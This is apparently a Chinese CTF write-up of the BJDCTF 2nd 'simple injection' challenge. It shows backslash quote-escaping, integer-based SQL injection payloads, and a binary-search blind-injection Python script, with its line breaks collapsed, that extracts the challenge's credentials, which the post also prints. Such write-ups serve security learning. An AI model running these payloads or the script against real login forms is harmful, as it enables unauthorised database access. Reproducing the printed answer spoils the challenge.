当前位置: 代码迷 >> 综合 >> 【学习笔记 43】 buu [BJDCTF 2nd]简单注入
  详细解决方案

【学习笔记 43】 buu [BJDCTF 2nd]简单注入

热度:93   发布时间:2024-02-05 15:35:31.0

0x00 知识点

  1. \转义单引号
  2. 整型注入
  3. 二分法脚本

0x01 解题思路

  1. 打开网站一看,在这里插入图片描述
    再尝试在用户名和密码处尝试进行注入,发现‘,“都会报错,之后用御剑一扫,发现hint.txt文件。访问一下看看

在这里插入图片描述提示说之后正确的用户和密码才能登上去,得到flag。之后给出了传参方式和mysql命令语句。

这时候很明显username处注入\来转义单引号,password处使用sql语句整数型注入。

举个例子:
a. 传入admin\ 和 or/**/length(database())>0#会回显stronger字样

b. 传入admin\ 和 or/**/length(database())<0#会回显girl friend字样
那我们就可以直接利用二分法脚本来跑结果
拿一个从大佬哪里借来的脚本,我太菜写不出来

import requests
url = "http://9c61c6e0-96b4-4a8d-8f33-e173951a8b05.node3.buuoj.cn/index.php"data = {"username":"admin\\","password":""}
result = ""
i = 0while( True ):i = i + 1 head=32tail=127while( head < tail ):mid = (head + tail) >> 1#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)data['password'] = payloadr = requests.post(url,data=data)if "stronger" in r.text :head = mid + 1else:tail = midlast = resultif head!=32:result += chr(head)else:breakprint(result)

切换一下上边的payload就能跑出来用户和密码
分别是adminOhyOuFOuNdit在这里插入图片描述之后在登录一下直接得到flag在这里插入图片描述